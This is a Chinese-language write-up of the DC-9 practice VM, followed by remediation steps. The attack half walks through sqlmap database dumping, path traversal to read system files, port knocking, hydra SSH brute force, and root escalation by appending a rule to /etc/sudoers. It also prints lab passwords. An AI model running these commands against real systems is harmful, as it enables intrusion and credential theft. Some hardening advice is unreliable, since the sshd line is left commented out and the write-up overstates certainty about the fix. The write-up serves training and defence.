DC-9靶场

发布时间:2026/7/5 5:32:23

DC-9靶场 信息收集探测存活主机nmap -sP 192.168.139.0/24发现主机探测端口和服务nmap -sV 192.168.139.137扫描结果显示 22 端口处于 filtered 状态。filtered 表示端口处于被过滤状态扫描工具无法确定该端口是开放还是关闭。该 22 端口后续可能需要通过端口敲门Port Knocking才能开放当前阶段可先访问 80 端口进行 Web 渗透。SQL 注入用 BurpSuite 寻找注入参数用 SQLMap 进行 SQL 注入爆数据库sqlmap -u http://192.168.139.137/results.php --data search1 --dbs爆表名sqlmap -u http://192.168.105.169/results.php --data search1 -D users --tables爆字段名sqlmap -u http://192.168.105.169/results.php --data search1 -D users -T UserDetails --columns爆值sqlmap -u http://192.168.105.169/results.php --data search1 -D users -T UserDetails -C username,password --dump将获取到的用户名和密码保存以备后续使用。awk -F , NR1{print $1} /root/.local/share/sqlmap/output/192.168.139.137/dump/users/UserDetails.csv ~/userlist.txt awk -F , NR1{print $2} /root/.local/share/sqlmap/output/192.168.139.137/dump/users/UserDetails.csv ~/passlist.txt使用上述凭证进行爆破未获得有效登录。切换至另一个数据库继续枚举成功获取到新的账号密码。sqlmap -u http://192.168.105.169/results.php --data search1 -D Staff -T Users -C Password,Username --dump该哈希值为 MD5 格式经在线解码获得明文密码transorbital1。使用该凭据登录 Web 后台成功进入。对网站功能进行全面探索后未发现更多利用点遂转向系统层渗透尝试对之前从数据库获取的账号密码进行爆破。爆破未能获取有效会话。在探索过程中发现仅当点击进入 Manage 页面时才会出现 Add 和 Log Out 两个操作按钮。针对搜索栏进行路径遍历Path TraversalFuzz通过逐个递增../层级进行测试在第四次尝试时成功定位到?file/../../../../etc/passwd确认存在文件包含漏洞。网站服务判断在返回内容中使用 CtrlF 搜索 root未发现可用信息。由此判断读取的并非真正的 /etc/passwd 文件。既然可以利用文件包含读取任意路径文件则直接读取 /proc/sched_debug 获取系统服务信息——该文件提供了系统中各 CPU 调度域、调度组以及任务调度的详细信息。将内容复制到本地文件分类筛选出已开启的服务进程。cat a1.txt | egrep [a-zA-Z] -o | sort | uniq从中发现 knockd 服务——这是一个在 Linux 系统上实现端口敲门Port Knocking功能的守护进程负责监听预设的敲门序列并动态调整防火墙规则。目标渗透通过进一步分析 knockd 配置文件发现需要依次敲击以下三个端口以触发 SSH 端口开放7469、8475、9842。使用 knock 命令执行端口敲门序列。knock 192.168.139.137 7469 8475 9842执行完毕后重新检查 22 端口状态。nmap -sV 192.168.139.13722 端口已成功开启。考虑到 admin 账号此时可能已无法登录但此前 SQL 注入阶段获取的大量用户凭证或许仍然有效可以尝试对这批账号进行 SSH 暴力破解。首先确保用户名和密码已分别保存到不同文件。hydra -L userlist.txt -P passlist.txt ssh://192.168.139.137使用爆破得到的账号通过 SSH 登录ssh [用户名]192.168.139.137。登录后未发现可用的敏感信息。注意到当前目录下存在 .secrets-for-putin 隐藏目录进入后发现一个名为 passwords-found-on-post-it-notes.txt 的文件其中疑似存储了密码信息。确认文件中包含类似密码的字符串。cd .secrets-for-putin ls cat passwords-found-on-post-it-notes.txt提取文件中的密码追加至 password.txt再次使用 Hydra 进行爆破成功发现新用户。使用新凭据成功登录。ssh fredf192.168.139.137执行 sudo -l 枚举当前用户可执行的 sudo 命令。逐层排查文件系统在 /opt/devstuff/dist/test/ 路径下发现可疑脚本 test.py。查看脚本内容以确认其功能逻辑。脚本逻辑为读取第一个参数指定的文件内容并将其追加写入第二个参数指定的文件中。该脚本以 root 权限运行因此可以构造提权指令通过脚本将其追加到 /etc/sudoers 文件中。具体思路为将fredf ALL(ALL:ALL) ALL写入一个临时文件再利用脚本将该内容追加到 /etc/sudoers从而赋予 fredf 用户无限制的 sudo 权限。nano test.txt在 test.txt 中添加以下内容fredf ALL(ALL:ALL) ALL。cat test.txt利用已发现的 test 可执行文件将提权规则写入 /etc/sudoers。sudo /opt/devstuff/dist/test/test test.txt /etc/sudoers sudo su提权成功获取 root 权限。结算画面漏洞修复靶场账号fredf密码B4-Tru3-001修复 SQL 注入和文件包含漏洞rootdc-9:~# cd /var/www/html rootdc-9:/var/www/html# ls -la results.php -rw-r--r-- 1 root root 2282 Dec 23 2019 results.php rootdc-9:/var/www/html# nano results.php修复后的完整代码已存放于results.php.txt文件中关键修改位置已使用//注释进行标注。解释漏洞修复原理一、SQL 注入漏洞先讲清楚「原来的代码为什么有漏洞」。SQL 注入的核心是攻击者把SQL 命令伪装成搜索内容让数据库当成真命令执行。原来的代码直接拿用户输入的 search比如1 OR 11不做任何检查。直接把这个输入拼接到 SQL 语句里变成SELECT * FROM StaffDetails WHERE firstname 1 OR 11 OR lastname 1 OR 11数据库一看11永远成立就把所有数据都吐出来了脱库。修复第 33 行下面加过滤先把攻击者的工具没收——过滤掉、、OR这些 SQL 注入专用的特殊字符用户输入的1 OR 11会变成1 OR 11没法再伪装成命令。第 43-44 行替换成预编译彻底把数据和命令分开。预编译的逻辑是「先把 SQL 语句的结构固定好用户输入只当填空的数据永远不会被当成 SQL 命令的一部分」就像考试时题目是固定的你只能填答案不能改题目。最后加mysqli_stmt_close安全收尾把预编译用的资源关掉防止浪费系统资源不影响功能但属于安全编程习惯。二、文件包含先讲清楚「原来的代码为什么有漏洞」。文件包含的核心是攻击者让网站去读不该读的系统文件比如/etc/passwd、/etc/knockd.conf。原来的代码逻辑是如果contact-info.php不存在就拿用户通过 URL 传的file参数去directory/下面找文件包含进来。攻击者利用这个逻辑传file../../../../etc/passwddirectory/../../../../etc/passwd就会跳转到系统根目录读到敏感文件。修复第 97、98 行是多余的危险备用逻辑正常情况下contact-info.php是存在的永远不会触发这两行代码。删掉后彻底断了攻击路径没有了这两行攻击者没法再通过 URL 传file参数让网站读任意文件而且网站正常功能完全不受影响。验证注意在重新测试的时候要删除本地缓存。# 彻底删掉靶机对应的 sqlmap 缓存目录 rm -rf ~/.local/share/sqlmap/output/192.168.139.137 # 重新执行爆库命令测试真实的注入情况 sqlmap -u http://192.168.139.137/results.php --data search1 --dbs成功。文件包含漏洞一、先确认漏洞文件位置默认路径/var/www/html/manage.php输入以下命令进入文件nano /var/www/html/manage.php二、极简修复步骤找到危险的文件包含代码通常在manage.php中间或末尾找到类似这样的代码$file $_GET[file];include($file);// 或者include(directory/ . $file);直接删掉这两行危险代码把光标移到第 102 行的开头按 AltAMac 按 OptionA开启「标记模式」底部会显示 Mark Set。用方向键向下移到第 117 行的结尾你会看到整段代码被高亮选中。按 CtrlK一次性剪切删除整段高亮的代码。保存退出按 CtrlO → Enter 保存再按 CtrlX 退出。重启 Apache 让配置生效systemctl restart apache2三、修复后验证访问http://靶机IP/manage.php?file../../../../etc/passwd显示「Access denied」或空白说明修复成功。现在访问带 file 参数的漏洞 URL页面只正常显示You are already logged in as admin.完全没有出现/etc/passwd的系统用户内容也没有出现File does not exist的提示。数据库弱密码与权限漏洞一、先确认数据库位置默认用的是 MySQL/MariaDB直接登录即可。先查询数据库密码cat /var/www/html/config.php然后登录数据库mysql -u root -p二、极简修复步骤换掉弱 MD5 密码用强哈希在 MySQL 命令行里执行-- 切换到 users 数据库 USE users; -- 给 UserDetails 表加个新的强密码字段 ALTER TABLE UserDetails ADD COLUMN new_pass VARCHAR(255) NOT NULL AFTER password; -- 示例更新 admin 的密码实际要批量更新所有用户 -- 注意new_pass 的值要在 PHP 里用 password_hash(强密码, PASSWORD_BCRYPT) 生成 UPDATE UserDetails SET new_pass $2y$10$YourStrongBcryptHashHere WHERE username admin; -- 删掉旧的弱 MD5 密码字段 ALTER TABLE UserDetails DROP COLUMN password; -- 把新字段改回原名 ALTER TABLE UserDetails CHANGE COLUMN new_pass password VARCHAR(255) NOT NULL;建个低权限的 Web 数据库账号继续在 MySQL 里执行-- 建个只能查、改的普通账号别用 root CREATE USER web_userlocalhost IDENTIFIED BY Strong_DB_Pass_123!; -- 只给必需的权限不给删库、改结构的权限 GRANT SELECT, INSERT ON users.UserDetails TO web_userlocalhost; GRANT SELECT, INSERT ON Staff.StaffDetails TO web_userlocalhost; -- 生效 FLUSH PRIVILEGES; EXIT;更新 Web 配置文件里的数据库账号找到/var/www/html/config.php把里面的数据库账号密码换成刚才建的web_user和强密码。重启 Apache让新的数据库配置立刻生效systemctl restart apache2验证为了彻底排除 sqlmap 漏报的可能你可以执行这条更高强度的注入测试命令覆盖更全面的注入场景sqlmap -u http://靶机IP/results.php --data search1 --level 3 --risk 3 --current-user--level 3增加测试的参数和注入点覆盖范围--risk 3开启高风险的注入测试语句如果执行后依然提示all tested parameters do not appear to be injectable就 100% 确认 SQL 注入漏洞已经彻底修复攻击者再也无法通过这个页面进行注入攻击。端口敲门配置 SSH 服务漏洞一、先修「端口敲门配置泄露漏洞」漏洞根源之前就是通过manage.php的文件包含直接读到了/etc/knockd.conf拿到了开门的端口序列才打开了 SSH 的 22 端口。先锁死配置文件权限只有 root 能看杜绝泄露chmod 600 /etc/knockd.conf换掉泄露的敲门序列打开配置文件nano /etc/knockd.conf找到核心配置直接修改把[openSSH]里的sequence改成示例sequence 31247,18956,42781把[closeSSH]里的sequence改成反向sequence 42781,18956,31247把seq_timeout从 25 改成 10攻击者只有 10 秒时间完成敲门试错空间大幅缩小seq_timeout 10开门后自动关门不用手动敲反向序列在[openSSH]的command后面加个自动删除规则的命令10 分钟后自动封 SSHcommand /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT (sleep 600 /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT) 开启敲门日志知道谁在尝试敲门最后重启服务生效systemctl restart knockd防御效果总结更换后的端口序列需要在 10 秒内完成敲门才能打开 SSH10 分钟后还会自动关门攻击者几乎没有可乘之机。二、再修「SSH 弱口令 爆破漏洞」漏洞根源使用 Hydra 爆破成功就是因为系统用户全是弱口令而且 SSH 允许密码登录一撞就中。彻底杜绝密码爆破禁用密码登录只允许密钥登录打开 SSH 配置文件nano /etc/ssh/sshd_config找到以下两行核心配置修改成# 禁用密码登录只允许密钥登录前面有 # 就删掉 # PasswordAuthentication no # 禁止 root 直接 SSH 登录 PermitRootLogin no重启 SSH 生效systemctl restart sshd如果觉得密钥登录太麻烦可以直接装 fail2ban 一键防爆破apt install fail2ban -y systemctl enable --now fail2ban自动拦截 5 次登录失败的 IP直接杜绝暴力破解。你自己用密钥或强密码照样能正常登录但攻击者再也没法用弱口令爆破直接会被 fail2ban 自动拦截。

相关新闻